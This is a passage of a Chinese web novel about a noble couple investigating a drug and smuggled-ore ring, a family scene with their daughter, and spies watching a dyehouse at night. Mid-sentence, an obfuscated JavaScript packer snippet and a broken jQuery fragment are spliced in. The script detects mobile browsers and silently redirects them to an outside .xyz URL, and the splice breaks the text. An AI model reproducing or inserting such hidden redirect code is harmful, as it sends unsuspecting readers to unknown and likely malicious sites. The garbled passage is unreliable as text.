李梵娘取下来一些用银针拨弄,又滴了几种药汁观察它的反应。
“有烧过的曼陀罗和乌羽玉残留……这些金属颗粒……”她用镊子夹起仔细看了看,脸色微变,“有点像……没有充分提纯的墨玉髓矿石边缘料。”
她抬头看向杜仁绍和赵无咎:“基本可以确定,他们不光是在炼**,有可能还在尝试提纯或者加工墨玉髓。”
杜仁绍拳头握紧:“果然如此,看来南诏走私过来的原石,最终的目的地就是这儿了,必须尽快端掉这个毒窝。”
“但这个时机要把握好。”赵无咎接着说,“目前我们只能观察到有物资进出,主要人物都没露面。”
“贸然行动的话,恐怕很难做到一网打尽,也拿不到什么最有用的证据。”
与此同时,王猛那边也收到了南诏传回来了的消息。
玉萝接到消息后,已经暗中着手调查,初步怀疑与边境一个叫黑石的中型部落有关。
这个部落近年来突然阔绰,且与中原某些商队来往神秘。
她已经增加人手,监控黑石部落的动向和几条秘密走私通道,只待对方再次行动。
杜仁绍在书房踱步。
染坊要端,但要端得有价值,既要铲除威胁,又要尽可能获取证据。
南诏的线要放长,要钓出背后的大鱼。
“无咎,”他停下脚步,“继续监控染坊,尤其注意有没有身份特殊者出入,想办法搞清楚里面的大致布局和守卫。”
部署完,杜仁绍走到李梵娘身边,见她依旧对着那些废渣出神,轻轻揽住她的肩:“别太耗神,这些脏东西交给我们来处理。”
李梵娘靠在他身上,轻抚着小腹,“我只是在想,他们如此大规模地炼制**,搜集墨玉髓,不知道还藏着多少这样的暗桩。”
“管他多少,发现一个,铲除一个,只要我们比他们更快更狠更准,就能把危险扼杀在萌芽里。”
“你说得对。”她轻声应着,努力将注意力从那些废渣上移开。
“兵来将挡,水来土掩,只要我们一家人在一起,没什么坎是过不去的。”
正说着,门外传来细碎的脚步声和春儿的声音,“爹爹,娘亲,你们在里面吗?春儿可以进来吗?”
杜仁绍和李梵娘对视一眼,迅速收敛了脸上的凝重。
杜仁绍扬声道:“进来吧,春儿。”
门被推开一条缝,春儿的小脑袋探了进来,大眼睛忽闪忽闪的,先是看了看爹爹,又望向靠在榻上的娘亲,脸上带着显而易见的担忧。
她虽年幼,但也察觉到了什么。
“娘亲,”她蹬蹬蹬跑进来,扑到榻边,仰着小脸,“张大娘说您身子不舒服,要静养,春儿都不敢大声说话。您好些了吗?”
李梵娘心头一软,伸手将女儿揽到身边,温柔地摸着她的头发:“娘亲好多了,春儿真乖。”
“只是肚子里可能有了个小弟弟或者小妹妹,所以需要多休息一下。”
“小弟弟?小妹妹?”春儿眼睛瞪得溜圆,满是惊奇和难以置信。
她看看娘亲依旧平坦的小腹,又抬头看看爹爹,似乎在确认这不是玩笑。
杜仁绍被女儿可爱的模样逗乐,蹲下身平视着她,肯定地点点头:“是真的,春儿要当姐姐了。”
“哇!”春儿一下子从榻上跳起来,开心地拍着小手,在屋里转了个圈。
“春儿要当姐姐啦!太好啦!以后有人陪春儿玩啦!”
她兴奋地跑到李梵娘身边,小手轻轻摸了摸她的肚子,嘴里还念念有词:“小宝宝,你要乖乖的,快点长大,姐姐带你玩毽子,给你吃甜甜的糕糕……”
看着女儿的模样,李梵娘和杜仁绍相视而笑,连日来的阴霾被驱散了不少,孩子的快乐总是如此简单。
这时,侍女端来了安神参汤和几样清淡小菜。
杜仁绍接过托盘,挥手让侍女退下。
“来,梵娘,趁热喝点汤。”他坐到榻边,舀起一勺汤吹了吹,递到李梵娘唇边。
李梵娘有些不好意思,“我自己来就好。”
“别动,”杜仁绍语气坚持,“你现在是两个人,让我伺候一回。”
他征战沙场,握惯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16556702|182915||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了刀剑,现在端着小小的汤碗,动作竟有些笨拙,生怕洒出一滴。
李梵娘看着他专注的神情,心头暖流涌动,顺从地张嘴喝下,汤带着参片的微甘和莲子的清香。
春儿在一旁捂着嘴偷笑,眼睛弯成了月牙:“爹爹喂娘亲吃饭饭,羞羞脸!”
杜仁绍老脸一红,故意板起脸瞪了女儿一眼:“小丫头懂什么,这是爹爹疼你娘亲。”手上的动作却越发轻柔。
时间悄然流逝。
镇国公府大门紧闭,杜仁绍静养的消息已经传遍了京城,成了茶余饭后的谈资,有人惋惜,有人窃喜,更多人在观望。
京郊西山脚下,永丰染坊的废弃建筑群。
距离染坊约一里外的一处高坡密林中,两个几乎与夜色融为一体的身影,死死盯着那里。
他们是皇城司的两个暗探,代号“夜枭”和“山猫”,已经在这里潜伏监视了数个昼夜。
“戌时三刻,西南角第三盏气死风灯熄灭又亮起,间隔五息。是暗哨换岗的信号。”“夜枭”压低声音,对着身旁的同伴说道。
他手指在布局图上点,那里标着一个隐蔽的瞭望点。
“山猫”微微颔首,“换岗频率比前天又缩短了一刻钟,他们在加强戒备,还是里面有什么动静?”
子时将近,这儿安静的只有山风吹过林梢的呜咽声。
突然,一阵有规律的马蹄声和车轮压过土路的窸窣声,由远及近传来。
“来了!”“夜枭”精神一振,紧盯着通往染坊的唯一的荒废官道。
黑暗中,两辆罩着黑布的马车驶来。
没有灯笼,车夫穿着夜行衣,看不清面容。
马车行驶得极稳,显然对这条路熟悉至极。
马车在染坊的木门前停下。
没有敲门也没有喊,只见门板上的一小块活动木板滑开,露出一双眼睛。
车夫递过去一块令牌似的东西,里面的人查验片刻,木门才打开仅容马车通过的缝隙。
两辆马车迅速进去,木门随即关闭,一切重归寂静,仿佛什么都没发生过。